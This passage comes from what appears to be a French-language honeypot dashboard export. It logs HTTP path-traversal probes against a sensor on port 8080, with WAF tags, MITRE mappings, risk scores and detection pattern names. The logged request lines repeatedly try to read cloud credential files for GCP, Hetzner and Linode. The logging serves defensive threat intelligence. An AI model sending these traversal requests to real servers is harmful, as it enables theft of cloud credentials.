"CRS 930110",
"LFI Path traversal encoded"
],
"pattern_ids": [
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "54712780fe512192c28ce36494d127b9",
"path_pattern_hash": "b7d7589808907907f74a341336b96467"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/app\/gcp-credentials.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/gcp-credentials.json HTTP\/1.1",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/gcp-credentials.json HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Wi",
"evidence": {
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/app\/gcp-credentials.json",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/gcp-credentials.json HTTP\/1.1",
"request_sample": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/gcp-credentials.json HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/gcp-credentials.json HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Wi",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "b3607759d9c87124ffc7470b77067c8de3670841",
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/app\/gcp-credentials.json",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/gcp-credentials.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/gcp-credentials.json HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Wi",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/app\/gcp-credentials.json",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711"
],
"tags_summary_labels_fr": [
"CRS-930100",
"Http Lfi",
"pat-0508",
"pat-0711"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/app\/gcp-credentials.json",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/gcp-credentials.json HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/app\/gcp-credentials.json",
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/gcp-credentials.json HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Wi",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_path_traversal_high",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:13 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /../../../../../../../root/.config/hcloud/cli.t…
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /../../../../../../../root/.config/hcloud/cli.toml UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950260:lfi-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/../../../../../../../root/.config/hcloud/cli.toml
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/../../../../../../../root/.config/hcloud/cli.toml
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100
Http Lfi
pat-0508
pat-0711
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
ET path traversal encoded
CRS 930100 path traversal
CRS 930110
LFI Path traversal encoded
Ligne de requête
GET /../../../../../../../root/.config/hcloud/cli.toml HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
rce-0
nosqli-3
Payload (extrait)
GET /../../../../../../../root/.config/hcloud/cli.toml HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0
Requête brute (extrait)
GET /../../../../../../../root/.config/hcloud/cli.toml HTTP/1.1 Host: 62.3.50.33:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 11,
"http_path_ext": "toml",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "d4b50d25e748600fcfec74d2713e10d4fb16ec71",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 234,
"payload_entropy": 5.180834602786925,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.7,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "73bd4cce78224f86f1b427999a06bd4886268695",
"event_fingerprint": "f5d63c5457fd265637791ffaaf476dc193b65ed0",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 467,
"precision_signals": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub"
],
"kb_rule_ids": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"matched_pattern_names": [
"ET path traversal encoded",
"CRS 930100 path traversal",
"CRS 930110",
"LFI Path traversal encoded"
],
"pattern_ids": [
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "24fd320e12e76ba0a8eb06ba60cfb0c6",
"path_pattern_hash": "cca147b116d175dee4a323239648e87e"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.config\/hcloud\/cli.toml",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/hcloud\/cli.toml HTTP\/1.1",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/hcloud\/cli.toml HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0",
"evidence": {
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.config\/hcloud\/cli.toml",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/hcloud\/cli.toml HTTP\/1.1",
"request_sample": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/hcloud\/cli.toml HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/hcloud\/cli.toml HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "952939b24b6baf4d752fdb00829549e21b004a78",
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.config\/hcloud\/cli.toml",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/hcloud\/cli.toml HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/hcloud\/cli.toml HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/hcloud\/cli.t\u2026",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711"
],
"tags_summary_labels_fr": [
"CRS-930100",
"Http Lfi",
"pat-0508",
"pat-0711"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.config\/hcloud\/cli.toml",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/hcloud\/cli.toml HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/hcloud\/cli.t\u2026",
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/hcloud\/cli.toml HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_path_traversal",
"http_path_traversal_high",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:13 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /../../../../../../../root/.config/linode-cli
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /../../../../../../../root/.config/linode-cli UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950260:lfi-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/../../../../../../../root/.config/linode-cli
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/../../../../../../../root/.config/linode-cli
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100
Http Lfi
pat-0508
pat-0711
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
ET path traversal encoded
CRS 930100 path traversal
CRS 930110
LFI Path traversal encoded
Ligne de requête
GET /../../../../../../../root/.config/linode-cli HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
rce-0
nosqli-3
Payload (extrait)
GET /../../../../../../../root/.config/linode-cli HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win
Requête brute (extrait)
GET /../../../../../../../root/.config/linode-cli HTTP/1.1 Host: 62.3.50.33:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 10,
"http_path_ext": "config\/linode-cli",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "b8809b0b1b460889eefd88bb189ee32fd1b9e938",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 229,
"payload_entropy": 5.1655079240682,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.7,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "73bd4cce78224f86f1b427999a06bd4886268695",
"event_fingerprint": "8b5f5e76b3f18635d3d58bae0094ce96d3ba9509",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 467,
"precision_signals": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub"
],
"kb_rule_ids": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"matched_pattern_names": [
"ET path traversal encoded",
"CRS 930100 path traversal",
"CRS 930110",
"LFI Path traversal encoded"
],
"pattern_ids": [
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "1c37d8fbc6132dcc1543c95f1ead390d",
"path_pattern_hash": "5cdffd49875086a376f84a7289be5087"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.config\/linode-cli",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/linode-cli HTTP\/1.1",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/linode-cli HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win",
"evidence": {
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.config\/linode-cli",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/linode-cli HTTP\/1.1",
"request_sample": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/linode-cli HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/linode-cli HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "fe9a0cd6637672b850d66422a7a8e5f6b13cff62",
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.config\/linode-cli",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/linode-cli HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/linode-cli HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/root\/.config\/linode-cli",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
